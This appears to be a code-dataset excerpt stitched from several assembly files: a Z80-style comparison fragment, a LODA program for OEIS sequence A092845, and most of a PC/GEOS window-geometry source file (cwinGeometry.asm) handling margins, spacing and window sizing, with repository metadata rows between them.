pop hl ;(hl) left
pop bc ;(bc) right
ld de,hl+2 ;(de) left MSW
ld hl,(de) ;left MSW
add hl,hl
inc h
dec h
jp NC,return_positive
jp Z,return_positive ;both left and right are zero
jp return_negative
.zero_left
pop bc ;(bc) left
pop hl ;(hl) right
ld de,hl+2 ;(de) right MSW
ld hl,(de) ;right MSW
add hl,hl
jp NC,return_positive
jp return_negative
| 19.848624 | 74 | 0.489022 |
937985ab298ffe97f52197f49e5f780ac5176331 | 612 | asm | Assembly | oeis/092/A092845.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/092/A092845.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/092/A092845.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A092845: A011545(n) reversed.
; Submitted by Jamie Morken(s2)
; 3,13,413,1413,51413,951413,2951413,62951413,562951413,3562951413,53562951413,853562951413,9853562951413,79853562951413,979853562951413,3979853562951413,23979853562951413
mov $4,$0
mov $8,$0
lpb $4
mov $0,$8
sub $4,1
sub $0,$4
mov $1,1
mov $2,1
mov $3,$0
mul $3,5
lpb $3
mul $1,$3
mov $5,$3
mul $5,2
add $5,1
mul $2,$5
add $1,$2
div $1,$0
div $2,$0
sub $3,1
lpe
mul $1,2
mov $6,10
pow $6,$0
div $2,$6
div $1,$2
mov $0,$1
mod $0,10
mul $6,$0
add $7,$6
lpe
mov $0,$7
add $0,3
| 16.105263 | 171 | 0.589869 |
9ecddc6f1f2d097e2d58da764a10eac0aa7ce6b0 | 48,133 | asm | Assembly | Library/SpecUI/CommonUI/CWin/cwinGeometry.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 504 | 2018-11-18T03:35:53.000Z | 2022-03-29T01:02:51.000Z | Library/SpecUI/CommonUI/CWin/cwinGeometry.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 96 | 2018-11-19T21:06:50.000Z | 2022-03-06T10:26:48.000Z | Library/SpecUI/CommonUI/CWin/cwinGeometry.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 73 | 2018-11-19T20:46:53.000Z | 2022-03-29T00:59:26.000Z | COMMENT @----------------------------------------------------------------------
Copyright (c) GeoWorks 1988-1994. All rights reserved.
GEOWORKS CONFIDENTIAL
PROJECT: GEOS
MODULE: CommonUI/CWin (common code for several specific UIs)
FILE: cwinGeometry.asm
ROUTINES:
Name Description
---- -----------
MTD MSG_VIS_RECALC_SIZE Recalc's size.
MTD MSG_VIS_POSITION_BRANCH Positions the object.
INT WinPassMarginInfo Passes margin info for OpenRecalcCtrlSize.
INT ReturnAxBpCxDx Returns margins a certain way.
MTD MSG_VIS_COMP_GET_MINIMUM_SIZE
Returns the minimum size for a window.
IMPORTANT: OLBaseWinClass subclasses this
method to add spacing for the Workspace and
Application icons
MTD MSG_VIS_UPDATE_GEOMETRY Updates the geometry for the window. If
first time being arranged geometrically,
then attemps to keep the thing on-screen,
first by resizing it, then by moving it.
INT OpenWinRefitToParent Updates the geometry for the window. If
first time being arranged geometrically,
then attemps to keep the thing on-screen,
first by resizing it, then by moving it.
INT CenterIfNotice Updates the geometry for the window. If
first time being arranged geometrically,
then attemps to keep the thing on-screen,
first by resizing it, then by moving it.
MTD MSG_OL_GET_CHILDS_TREE_POS
Returns true if object passed is child of
non-menu window. Also returns whether the
child is the first child of the window
either generically or visually (depending
on what is passed). This
generic-or-specific stuff is extremely
dubious.
INT OpenWinCalcMinWidth Calculate the minimum size for an OpenLook
window.
INT OpenWinCalcMinWidth Calculate the minimum size for an OpenLook
window.
MTD MSG_VIS_RESET_TO_INITIAL_SIZE
Resets a window to its initial size. For
most windows, we'll zap the size back to
RS_CHOOSE_OWN_SIZE so the window will
choose a completely new size again, unless
its maximized, in which case we'll leave
the window size alone.
MTD MSG_OL_WIN_RECALC_DISPLAY_SIZE
Returns size of window, after making sure
geometry's up-to-date.
INT OpenWinGetMonikerSize Gets moniker size for a window. If this is
a GenPrimary, returns the sum of the
visMoniker and the longTermMoniker. Ignores
the long term moniker if we're in GCM mode.
INT GetDividerStrLen Gets the length of the divider before the
long term moniker.
INT MoveWindowToKeepOnscreen
Moves window bounds to try to keep it
onscreen.
INT OpenWinCheckIfSquished Checks to see if we're on a CGA only.
INT OpenWinHasResizeBorder Returns whether this thing has a resize
border or not.
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 8/89 Initial version
DESCRIPTION:
$Id: cwinGeometry.asm,v 1.7 98/07/13 10:20:31 joon Exp $
------------------------------------------------------------------------------@
Geometry segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
OLWinRecalcSize
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Recalc's size.
CALLED BY: MSG_VIS_RECALC_SIZE
PASS: *ds:si = OLWinClass object
ds:di = OLWinClass instance data
cx, dx = size suggestions
RETURN: cx, dx = size to use
DESTROYED: ax, bp
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
chris 5/ 1/92 Initial Version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
OLWinRecalcSize method dynamic OLWinClass, MSG_VIS_RECALC_SIZE
call WinPassMarginInfo
call OpenRecalcCtrlSize
ret
OLWinRecalcSize endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
OLWinVisPositionBranch
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Positions the object.
CALLED BY: MSG_VIS_POSITION_BRANCH
PASS: *ds:si = OLWinClass object
ds:di = OLWinClass instance data
cx, dx = position
RETURN: nothing
DESTROYED: ax, cx, dx, bp
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
chris 5/ 1/92 Initial Version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
OLWinVisPositionBranch method dynamic OLWinClass, MSG_VIS_POSITION_BRANCH
call WinPassMarginInfo
call VisCompPosition
ret
OLWinVisPositionBranch endm
COMMENT @----------------------------------------------------------------------
ROUTINE: WinPassMarginInfo
SYNOPSIS: Passes margin info for OpenRecalcCtrlSize.
CALLED BY: OLWinRecalcSize, OLWinPositionBranch
PASS: *ds:si -- Win bar
RETURN: bp -- VisCompMarginSpacingInfo
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Chris 5/ 1/92 Initial version
------------------------------------------------------------------------------@
WinPassMarginInfo proc near uses cx, dx
.enter
call OpenWinGetSpacing ;first, get spacing
push cx, dx ;save spacing
call OpenWinGetMargins ;margins in ax/bp/cx/dx
pop di, bx
call OpenPassMarginInfo
.leave
ret
WinPassMarginInfo endp
COMMENT @----------------------------------------------------------------------
FUNCTION: OpenWinGetSpacing
DESCRIPTION: Perform MSG_VIS_COMP_GET_CHILD_SPACING given an OLWinPart
CALLED BY: INTERNAL
PASS: ds:*si - instance data
RETURN: cx - spacing between children
dx - spacing between lines of wrapped children
DESTROYED: bx, si, di, ds, es
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 3/89 Initial version
Eric 7/89 Motif extensions
------------------------------------------------------------------------------@
if _CUA_STYLE ;START of MOTIF/CUA specific code ----
OpenWinGetSpacing method OLWinClass, MSG_VIS_COMP_GET_CHILD_SPACING
; bp = pointSize
;top and bottom of other window types.
MO < mov cx, MO_BASE_WIN_CHILD_SPACING
MO < mov dx, MO_WIN_CHILD_WRAP_SPACING
ISU < mov cx, MO_BASE_WIN_CHILD_SPACING
ISU < mov dx, MO_WIN_CHILD_WRAP_SPACING
if (not _MOTIF) ;spacing provided other ways now -12/ 4/92 cbh
mov di, ds:[si] ;point to instance
add di, ds:[di].Vis_offset ;ds:[di] -- SpecInstance
cmp ds:[di].OLWI_type, MOWT_PRIMARY_WINDOW
je OWGS_doneWithSpacing ;skip if base win
cmp ds:[di].OLWI_type, MOWT_DISPLAY_WINDOW
je OWGS_doneWithSpacing ; or display
test ds:[di].OLWI_fixedAttr, mask OWFA_IS_MENU
jnz OWGS_doneWithSpacing ;skip if is menu or submenu...
MO < mov cx, MO_WIN_CHILD_SPACING ; >
ISU < mov cx, MO_WIN_CHILD_SPACING ; >
OWGS_doneWithSpacing:
endif
test ds:[di].OLCI_buildFlags, mask OLBF_TOOLBOX
jz notToolbox
mov cx, TOOLBOX_SPACING ;toolboxes use larger spacing
notToolbox:
;
; Check for custom spacing, unless we're a OLDialogWin or OLMenuedWin,
; in which case the gadget area will handle the hint.
;
mov di, segment OLDialogWinClass
mov es, di
mov di, offset OLDialogWinClass
call ObjIsObjectInClass
jc 5$
CheckHack <segment OLDialogWinClass eq segment OLMenuedWinClass>
mov di, offset OLMenuedWinClass
call ObjIsObjectInClass
jc 5$
call OpenCtrlCheckCustomSpacing
5$:
mov di, ds:[si]
add di, ds:[di].Vis_offset
test ds:[di].VCI_geoAttrs, mask VCGA_ORIENT_CHILDREN_VERTICALLY
pushf
jz 10$ ;if so, spacing is in correct regs
xchg cx, dx ;swap registers for width, height
10$:
call OpenCheckIfCGA ;ax zeroed on CGA's
jnc 20$
tst dx
mov dx, -1 ;use -1 rather than 0 in CGA
;CHECK BW FOR CUA LOOK
jz 20$ ;yep, branch
mov dx, 1 ;else use 1 for minimal spacing
20$:
popf
jz 30$ ;if so, spacing is in correct regs
xchg cx, dx ;swap registers back
30$:
ret
OpenWinGetSpacing endp
endif ;END of MOTIF/CUA specific code -----------------------
COMMENT @----------------------------------------------------------------------
FUNCTION: OpenWinGetMargins
DESCRIPTION: Perform MSG_VIS_COMP_GET_MARGINS given an OLWinPart
CALLED BY: INTERNAL
PASS: ds:*si - instance data
RETURN: ax - left margin
bp - top margin
cx - right margin
dx - bottom margin
DESTROYED: bx, si, di, ds, es
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 3/89 Initial version
Eric 7/89 Motif extensions
JimG 4/94 Added Sytlus extensions
------------------------------------------------------------------------------@
if _CUA_STYLE ;START of MOTIF/CUA specific code ----
OpenWinGetMargins method OLWinClass, MSG_VIS_COMP_GET_MARGINS
push es
segmov es, dgroup, bp ; es = dgroup
; bp = pointSize
mov bp, es:[specDisplayScheme.DS_pointSize]
pop es
mov di,ds:[si] ;ds:si = instance
add di,ds:[di].Vis_offset ;ds:si = SpecificInstance
;Start with just basic margins for left, right, top, and bottom,
;and assume the kids overlap each other and the frame line by
;one pixel. Register usage:
; cl -- top margin
; ch -- bottom margin
; dl -- left margin
; dh -- right margin
;
if _MOTIF or _ISUI
if _ISUI
;
; ISUI has etched borders on all sides
;
mov cx, (2 shl 8) or 2
mov dx, (2 shl 8) or 2
elif THREE_DIMENSIONAL_BORDERS
;
; DUI has double borders, each with shadow.
;
mov cx, (THREE_D_BORDER_THICKNESS shl 8) or THREE_D_BORDER_THICKNESS
mov dx, (THREE_D_BORDER_THICKNESS shl 8) or THREE_D_BORDER_THICKNESS
else
mov cx, (1 shl 8) + 1 ;default margins are 1 in color
mov dx, cx
call OpenCheckIfCGA ; CHECK BW FOR CUA LOOK
jnc 2$
clr cx, dx ; 0 for everything
2$:
endif
else
clr cx, dx ; 0 for everything by default
endif
;
; If this is a "custom window", no margins by default.
;
if not ALL_DIALOGS_ARE_MODAL
;
; Removed this check, as we're in keyboard-only mode and apparently
; because of the forced-modal nature of things the forced-modal
; express menu has become a MOWT_NOTICE_WINDOW.
;
cmp ds:[di].OLWI_type, MOWT_COMMAND_WINDOW
jne afterCustomWindow
endif
test ds:[di].OLWI_moreFixedAttr, mask OWMFA_CUSTOM_WINDOW
jz afterCustomWindow
clr cx, dx
afterCustomWindow:
mov bx, ds:[di].OLWI_attrs ;get attributes for window
;
; If RESIZABLE then add size of resize border
;
if _MOTIF
call OpenWinHasResizeBorder
jnc OWGS_noResize ;can't have resize bars, branch
test bx, mask OWA_MAXIMIZABLE
jz addResizeBars ;not maximizable...
test ds:[di].OLWI_specState, mask OLWSS_MAXIMIZED
jnz OWGS_noResize ;is maximized, therefore
;no resize border...
addResizeBars:
elif _ISUI
test ds:[di].OLWI_specState, mask OLWSS_MAXIMIZED
jz checkResizable
clr cx, dx ;no margins if maximized
jmp OWGS_noResize
checkResizable:
;
; use bigger margin if resizable or titled
;
test bx, mask OWA_RESIZABLE or mask OWA_TITLED
jz OWGS_noResize
else
test bx, mask OWA_RESIZABLE
jz OWGS_noResize ;skip if not resizable...
endif
push ax
push es
segmov es, dgroup, ax
mov al, es:[resizeBarHeight].low
mov ah, al
pop es
if _ISUI
mov cx, ax
else
add cx, ax ;add margin to top and bottom
endif
push es
segmov es, dgroup, ax
mov al, es:[resizeBarWidth].low
mov ah, al
pop es
if _ISUI
mov dx, ax
else
add dx, ax ;add margin to left and right
endif
pop ax
OWGS_noResize:
;
; Code added 2/ 6/92 to allow menu bar in header in maximized mode.
;
call OpenWinCheckMenusInHeader ;doing menus in header?
jc OWGS_noHeader ;yes, no title bar then.
test bx, mask OWA_TITLED ;does window have a title?
jz OWGS_noHeader ;skip if not...
add cl, CUAS_WIN_HEADER_Y_SPACING-1 ; add margin to top for header
if _ALLOW_MINIMIZED_TITLE_BARS
;
; If we are minimizing the title bar, then don't include the font
; height in calculcating the header size since we aren't displaying
; a title.
;
test ds:[di].OLWI_moreFixedAttr, mask OMWFA_MINIMIZE_TITLE_BAR
jnz dontAddFontHeight
endif ;_ALLOW_MINIMIZED_TITLE_BARS
add cx, bp ;add font height
ISU < inc cx ;add spacing under titlebar >
ISU < inc cx ;add spacing under titlebar >
if _ALLOW_MINIMIZED_TITLE_BARS
dontAddFontHeight:
endif ;_ALLOW_MINIMIZED_TITLE_BARS
if _TITLE_BARS_HAVE_WHITE_BORDER
; Increase top margin by one. Even though the white outline takes
; up two pixels, we just want to make sure there is enough room for
; descenders in the the title bar. There is already enough space
; above the moniker, even with the white space.
inc cx
endif ;_TITLE_BARS_HAVE_WHITE_BORDER
if _MOTIF and not _ASSUME_BW_ONLY
call OpenCheckIfBW ;subtract a pixel in color.
jc 25$
dec cx
25$:
endif
;
; If it's a CGA display, use a smaller header height
;
call OpenWinCheckIfSquished
jnc OWGS_noHeader
sub cl, (CUAS_WIN_HEADER_Y_SPACING - CUAS_CGA_WIN_HEADER_Y_SPACING)
jmp OWGS_noHeader
OWGS_noHeader:
; if this window wants its children to be physically inside
; the frame border (instead of on it), inset them some.
if _MOTIF
call OpenCheckIfBW
jnc OWGS_80 ;not B/W, don't bother with margins.
endif
test bx, mask OWA_KIDS_INSIDE_BORDER
jz OWGS_80
add cx,(CUAS_WIN_LINE_BORDER_SIZE shl 8) + CUAS_WIN_LINE_BORDER_SIZE
add dx,(CUAS_WIN_LINE_BORDER_SIZE shl 8) + CUAS_WIN_LINE_BORDER_SIZE
;if this window wants its children to be physically inside the frame
;border (instead of on it), inset them some.
OWGS_80:
if (not _MOTIF)
test bx, mask OWA_REAL_MARGINS
jz OWGS_92
add cx, (CUAS_REAL_MARGIN_SIZE shl 8) + CUAS_REAL_MARGIN_SIZE
add dx, (CUAS_REAL_MARGIN_SIZE shl 8) + CUAS_REAL_MARGIN_SIZE
; Use less of a margin in CGA.
call OpenCheckIfCGA
jz OWGS_90
sub cx, (CUAS_REAL_MARGIN_CGA_DIFF shl 8)+CUAS_REAL_MARGIN_CGA_DIFF
OWGS_90:
call OpenCheckIfNarrow
jz OWGS_92
sub dx, (CUAS_REAL_MARGIN_CGA_DIFF shl 8)+CUAS_REAL_MARGIN_CGA_DIFF
OWGS_92:
endif ; (not _MOTIF)
if (not _MOTIF)
;
; if this is a GenSummons (OLNoticeWin) then leave space for
; thick inset border
;
cmp ds:[di].OLWI_type, MOWT_NOTICE_WINDOW
jne OWGS_95 ;skip if not...
add cx, (CUAS_NOTICE_FRAME_Y_SPACE shl 8) or \
CUAS_NOTICE_FRAME_Y_SPACE
add dx, (CUAS_NOTICE_FRAME_X_SPACE shl 8) or \
CUAS_NOTICE_FRAME_X_SPACE
if _ISUI ;-------------------------------------------------------------
;
; Compensate for CGA's wierd aspect ratio, if necessary
call OpenCheckIfCGA
jnc OWGS_95
sub cx, (MO_CGA_NOTICE_FRAME_INSET_BOTTOM_DIFF shl 8) or \
MO_CGA_NOTICE_FRAME_INSET_TOP_DIFF
sub dx, (MO_CGA_NOTICE_FRAME_X_INSET_DIFF shl 8) or \
MO_CGA_NOTICE_FRAME_X_INSET_DIFF
endif ;---------------------------------------------------------------
OWGS_95:
endif
; FINALLY, if composite is horizontal, we have to switch registers
; to maintain the vertical & horizontal margins that we want.
; (Geometry manager uses width & height notions, which align with
; direction of alignment)
xchg cx, dx ;assume horizontal, switch registers
mov di, ds:[si]
add di, ds:[di].Vis_offset
;See if using vertical alignment
test ds:[di].VCI_geoAttrs, mask VCGA_ORIENT_CHILDREN_VERTICALLY
jz isHorizontal ;if so, spacing is in correct regs
dec ax ;will be inc'ed below
call OpenMinimizeIfCGA ;ax zeroed on CGA's
inc ax ;use spacing of 1 on CGA's
isHorizontal:
call ReturnAxBpCxDx ;put margins in right registers
if DIALOGS_WITH_FOLDER_TABS
test ds:[di].OLWI_moreFixedAttr, mask OWMFA_IS_POPUP
jz notTabbed
push ax, bx
mov ax, HINT_INTERACTION_FOLDER_TAB_DIALOG
call ObjVarFindData
pop ax, bx
jnc notTabbed
add cx, 2 * TAB_SHADOW_SIZE
notTabbed:
endif
if DRAW_SHADOWS_ON_BW_GADGETS
test ds:[di].OLWI_moreFixedAttr, mask OWMFA_CUSTOM_WINDOW
jnz exit
call OpenCheckIfBW
jnc exit
inc cx ;leave room for shadow
inc dx
exit:
endif
if _ROUND_THICK_DIALOGS
call OpenWinShouldHaveRoundBorderFar
jnc notRoundThickBorder
add ax, _ROUND_THICK_DIALOG_BORDER
add bp, _ROUND_THICK_DIALOG_BORDER
add cx, _ROUND_THICK_DIALOG_BORDER
add dx, _ROUND_THICK_DIALOG_BORDER
notRoundThickBorder:
endif
if _THICK_MENU_BOXES
test ds:[di].OLWI_fixedAttr, mask OWFA_IS_MENU
jz notMenu
inc ax
inc bp
inc cx
inc dx
notMenu:
endif ;_THICK_MENU_BOXES
if BUBBLE_DIALOGS
; Add in extra margins that comes with bubble popups, if any.
test ds:[di].OLWI_moreFixedAttr, mask OWMFA_IS_POPUP
jz doneWithBubbleMargin
push ax, bx
mov ax, TEMP_OL_WIN_BUBBLE_MARGIN
call ObjVarFindData
mov di, bx
pop ax, bx
jnc doneWithBubbleMargin
add ax, ds:[di].P_x
if _DUI
add bp, ds:[di].P_y
endif
doneWithBubbleMargin:
endif ;BUBBLE_DIALOGS
ret
OpenWinGetMargins endp
endif ;END of MOTIF/CUA specific code -----------------------
COMMENT @----------------------------------------------------------------------
ROUTINE: ReturnAxBpCxDx
SYNOPSIS: Returns margins a certain way.
CALLED BY: OpenWinGetMargins, OpenWinGetSpacing
PASS: cl/ch/dl/dh -- Top/Bottom/Left/Right margins
RETURN: bp/dx/ax/cx -- Top/Bottom/Left/Right margins
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Chris 5/16/91 Initial version
------------------------------------------------------------------------------@
ReturnAxBpCxDx proc near
;
; Move margins from dl/dh/cl/ch to bp/dx/ax/cx.
;
clr ax
mov al, dl
tst al
jns 1$
dec ah
1$:
mov bp, ax
mov dl, dh
clr dh
tst dl
jns 2$
dec dh
2$:
clr ax
mov al, cl
tst al
jns 3$
dec ah
3$:
mov cl, ch
clr ch
tst cl
jns 4$
dec ch
4$:
ret
ReturnAxBpCxDx endp
COMMENT @----------------------------------------------------------------------
ROUTINE: OpenWinGetMinSize
SYNOPSIS: Returns the minimum size for a window.
IMPORTANT: OLBaseWinClass subclasses this method to add
spacing for the Workspace and Application icons
PASS: *ds:si -- object
RETURN: cx -- minimum width
dx -- minimum height
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Chris 11/1/89 Initial version
------------------------------------------------------------------------------@
OpenWinGetMinSize method dynamic OLWinClass,
MSG_VIS_COMP_GET_MINIMUM_SIZE
mov di, offset OLWinClass ;call superclass for desired
call ObjCallSuperNoLock ; size stuff
push dx ;save return height
push cx ;save returned width
call OpenWinCalcMinWidth ;cx <- minimum allowable width for
;this window, taking into account the
;header area if any.
mov di, ds:[si]
add di, ds:[di].Vis_offset
test ds:[di].OLWI_attrs, mask OWA_RESIZABLE
jnz 10$ ;resizable, don't add moniker
if _ISUI
; allow clipping of moniker for non-resizable primaries (i.e. AddrBook)
cmp ds:[di].OLWI_type, MOWT_PRIMARY_WINDOW
je 10$
endif
;
; if maximized, don't want overly large min-size to confuse us, so
; we ignore the moniker
;
test ds:[di].OLWI_specState, mask OLWSS_MAXIMIZED
jnz 10$
test ds:[di].OLWI_fixedAttr, mask OWFA_IS_MENU
jz addMoniker ;not a menu, use moniker...
test ds:[di].OLWI_specState, mask OLWSS_PINNED
jz 10$ ;not pinned, don't use moniker
addMoniker:
push cx ;save width so far
call ViewCreateCalcGState ;create a gstate in bp
call OpenWinGetMonikerSize ;get moniker size of window
mov di, bp ;pass gstate
call GrDestroyState ;destroy the gstate
pop dx ;get current width back
add cx, dx ;and add in
CUAS < add cx, CUAS_TITLE_TEXT_MARGIN*2 ;add in title margins >
10$:
pop ax ;extra width from superclass
pop dx ;extra height from superclass
cmp ax, cx ;larger than window's result?
jb 20$ ;no, exit
mov cx, ax ;else use it instead
20$:
mov ax, ABSOLUTE_WIN_MIN_SIZE ;don't get smaller than this
; (mostly for the benefit of
; popup list buttons)
cmp cx, ax
jae 30$
mov cx, ax
30$:
cmp dx, ax
jae 40$
mov dx, ax
40$:
ret
OpenWinGetMinSize endp
public OpenWinGetMinSize
COMMENT @----------------------------------------------------------------------
METHOD: OpenWinUpdateGeometry -- MSG_VIS_UPDATE_GEOMETRY for OLWinClass
DESCRIPTION: Updates the geometry for the window. If first time being
arranged geometrically, then attemps to keep the thing
on-screen, first by resizing it, then by moving it.
PASS: *ds:si - instance data
es - segment of MetaClass
di - MSG_VIS_UPDATE_GEOMETRY
RETURN: nothing
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
save current bounds
call parent to update the geometry
get size of parent window
;
; If window is coming up for the first time, first resize to
; try to keep it onscreen. If that fails, try moving it.
;
if originally passed mask RSA_CHOOSE_OWN_SIZE for either
dimension...
; Try to do easy things to keep onscreen.
;save original left, top edge
get current window origin in cx, dx
if right > parentWidth, cx = cx - (right - parentWidth)
if bottom > parentBottom, dx = dx - (bottom - parentBottom)
if cx negative, cx = 0
if dx negative, dx = 0
call VisSetPosition
; Now, bring in right or bottom edge and do new geometry
; stuff to keep onscreen.
if right > parentWidth, right = parentWidth
if bottom > parentHeight, bottom = parentHeight
update window's geometry
; Move the object back to its original position, in case
; it can be there again with the new geometry.
;restore original left, top edge
;call VisSetPosition
; Now, one last feeble attempt to move the window onscreen.
if right > parentWidth, cx = cx - (right - parentWidth)
if bottom > parentBottom, dx = dx - (bottom - parentBottom)
if cx negative, cx = 0
if dx negative, dx = 0
call VisSetPosition
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Chris 3/30/89 Initial version
Doug 6/89 Modifications to get working, on screen stuff
moved to MSG_VIS_SET_POSITION handler.
------------------------------------------------------------------------------@
OpenWinUpdateGeometry method dynamic OLWinClass, MSG_VIS_UPDATE_GEOMETRY
;first see if this is the first UPDATE_GEOMETRY:
if 0
mov di, 1000
call ThreadBorrowStackSpace
push di
endif
call VisGetSize ;get current size, OR-ed
;with RSA_CHOOSE_OWN_SIZE flag
or cx, dx ;check in X or Y
push cx ;save value
;SAVE on stack whether geometry is invalid or not, and current width
mov di, ds:[si]
add di, ds:[di].Vis_offset
test ds:[di].VI_optFlags, mask VOF_GEOMETRY_INVALID
pushf ;save invalid flags
CUAS < mov bx, ds:[di].VI_bounds.R_right >
CUAS < sub bx, ds:[di].VI_bounds.R_left >
CUAS < push bx ;save width >
push es
mov di, offset OLWinClass
call ObjCallSuperNoLock ;do regular UpdateGeometry
pop es
call OpenGetParentWinSize ;window is on
if TOOL_AREA_IS_TASK_BAR
; If taskbar is at the bottom of the screen, subtract off the
; height of the tool area (taskbar) from parent window size so
; maximized windows don't extend below the taskbar.
call GetTaskBarSizeAdjustment
sub dx, di ; subtract off taskbar adjustment
endif ; TOOL_AREA_IS_TASK_BAR
CUAS < pop bx ;get previous width >
popf ;restore invalid flags
OLS < jz OWUG_afterGeoUpdate ;skip if was not INVALID... >
CUAS < jnz OWUG_isResizing ;skip if was INVALID... >
;check if width has changed: sometimes objects can be added to
;a window and GEOMETRY_INVALID won't be set. (See Doug.)
CUAS < mov di, ds:[si] >
CUAS < add di, ds:[di].Vis_offset >
CUAS < add bx, ds:[di].VI_bounds.R_left >
CUAS < cmp bx, ds:[di].VI_bounds.R_right >
CUAS < je OWUG_afterGeoUpdate ;skip if no width change... >
OWUG_isResizing:
OLS < call CenterIfNotice ; Center window on screen >
push cx, dx, bp
CallMod OpenWinCalcWinHdrGeometry ;determine which sys menu
pop cx, dx, bp ;icons are needed and place
OWUG_afterGeoUpdate:
pop ax ;get DSA_CHOOSE_OWN_SIZE flag
if (0) ; We should check even if not first time since we might have grown
; too big. - Joon (7/27/94)
test ax, mask RSA_CHOOSE_OWN_SIZE ;sizing for first time?
jz done ;skip if not...
endif
;check attribute flag to see if we want to test for window being
;clipped by parent.
mov di, ds:[si]
add di, ds:[di].Vis_offset
test ds:[di].OLWI_winPosSizeFlags, \
mask WPSF_SHRINK_DESIRED_SIZE_TO_FIT_IN_PARENT
jz done
checkIt::
call OpenWinRefitToParent ;Levi's 501 if necessary
done:
if 0
pop di
call ThreadReturnStackSpace
endif
ret ;else done
OpenWinUpdateGeometry endp
OpenWinRefitToParent proc near ;cx, dx are parent width & ht
class OLWinClass
mov ax, cx ;keep parent width in ax
mov bp, dx ;keep parent height in bp
clr bx
call VisGetSize ;see if our window too big
cmp cx, ax ;width too big?
jbe 10$ ;no, branch
mov cx, ax ;else use screen value
inc bx ;mark as needing geometry
10$:
cmp dx, bp ;width too big?
jbe 20$ ;no, branch
mov dx, bp ;else use screen value
inc bx ;mark as needing geometry
20$:
tst bx ;no size changed needed, branch
jz checkPosition
call VisSetSize ;else try out new size for
; the window
;
; If the window is bigger than the screen, we'll first try redoing
; geometry so the thing will fit. In popup list cases, we'll try
; reorienting the menu, and all of its visible children.
;
push ax, bp
mov ax, ds:[di].OLCI_buildFlags
and ax, mask OLBF_TARGET
cmp ax, OLBT_IS_POPUP_LIST shl offset OLBF_TARGET
jne stayOnscreen ;not popup list, too dangerous
;
; Already vertical, don't try making as such, because we will want to
; try to wrap instead. -cbh 3/26/93
;
test ds:[di].VCI_geoAttrs, mask VCGA_ORIENT_CHILDREN_VERTICALLY
jnz stayOnscreen
or ds:[di].VCI_geoAttrs, mask VCGA_ORIENT_CHILDREN_VERTICALLY
mov cx, mask VCGA_ORIENT_CHILDREN_VERTICALLY
clr dx
mov ax, MSG_VIS_COMP_SET_GEO_ATTRS
call VisSendToChildren
mov dl, VUM_MANUAL
mov ax, MSG_VIS_RESET_TO_INITIAL_SIZE
call ObjCallInstanceNoLock
jmp short update
stayOnscreen:
mov dl, VUM_MANUAL
mov ax, MSG_SPEC_RESET_SIZE_TO_STAY_ONSCREEN
call ObjCallInstanceNoLock ;reset geometry on this thing
update:
mov ax, MSG_VIS_UPDATE_GEOMETRY
push es
mov di, offset OLWinClass ;call parent again
call ObjCallSuperNoLock ;do regular UpdateGeometry
pop es
pop ax, bp ;restore parent width, height
checkPosition:
call MoveWindowToKeepOnscreen ;try to move the window onscreen
;update title bar size and icon positions also
tst bx
jz exit ;no changes needed
push cx, dx, bp
CallMod OpenWinCalcWinHdrGeometry ;determine which sys menu
pop cx, dx, bp ;icons are needed and place
exit:
ret
OpenWinRefitToParent endp
COMMENT @----------------------------------------------------------------------
METHOD: OLWinGetChildsTreePos --
MSG_OL_GET_CHILDS_TREE_POS for OLWinClass
DESCRIPTION: Returns true if object passed is child of non-menu window.
Also returns whether the child is the first child
of the window either generically or visually (depending on
what is passed). This generic-or-specific stuff is
extremely dubious.
PASS: *ds:si - instance data
es - segment of MetaClass
